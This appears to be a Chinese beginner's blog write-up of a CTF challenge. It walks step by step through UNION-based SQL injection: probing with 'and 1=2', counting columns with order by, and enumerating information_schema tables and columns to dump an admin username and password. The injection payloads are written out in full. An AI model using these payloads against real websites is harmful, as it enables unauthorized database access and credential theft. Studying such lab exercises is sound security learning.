码迷,mamicode.com
首页 > 其他好文 > 详细

初入CTF(封神榜第一关)

时间:2021-05-24 16:54:25      阅读:0      评论:0      收藏:0      [点我收藏+]

标签:block   位置   exp   内容   plain   利用   一个   sel   tables   

注:网址中的%20是空格的意思

1判断是否存在注入点


构造?id=1 and 1=1(不报错)

技术图片

构造?id=1 and 1=2(报错或者不显示内容)

技术图片

报错说明and后面的语句被识别

2判断回显字段的长度


构造?id=1 and 1=1 order by 5(这需要尝试多个数值直至不显示,这里试到3就可以看出来)

技术图片

 

3判断回显的字段


构造?id=1 and 1=2 union select 1,2,3……(显示的字段即为回显发生的地点,后面数字根据上一步判断)其中1=2是为了让页面不显示内容只显示后面查询的内容

技术图片

亲测1=1不行(应该是被前面的挡住了)

在后面将需要显示的变量放在回显的地方(这里回显发生在第二个字段)

4数据库相关信息


利用数据库中的函数查询数据库系统名称

这里构造:?id=1 and 1=2 union select 1,database();

技术图片

select database();

select version();这里同理。

这些都是数据库函数,具体让它产生效果需要将其放在指定位置

5正式开始


1获取数据表的信息

构造?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1(其中information_schema是一个数据库本身就有的表,里面存放数据库中的表和其他信息)

技术图片

表名为admin

2获取表中有哪些列

构造

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin‘ limit 0,1

技术图片

有一列叫id

改limit 0,1为limit 1,1

技术图片

接着改

技术图片

直到没有显示(爆出所有字段名)

3接着就可以直接查数据(已知表明叫admin)

构造

?id=1 and 1=2 union select 1,username from admin limit 0,1

技术图片

爆出username为admin

同理爆出密码等

技术图片

总结:这是一个简单的sql注入题(也是我几乎0基础做的第一个题),其中较为重要的知识点是数据库本身存在的information_schema表储存有数据库中表的信息。其他注入语句比较基础的。

初入CTF(封神榜第一关)

标签:block   位置   exp   内容   plain   利用   一个   sel   tables   

原文地址:https://www.cnblogs.com/bighuyspa/p/14787600.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!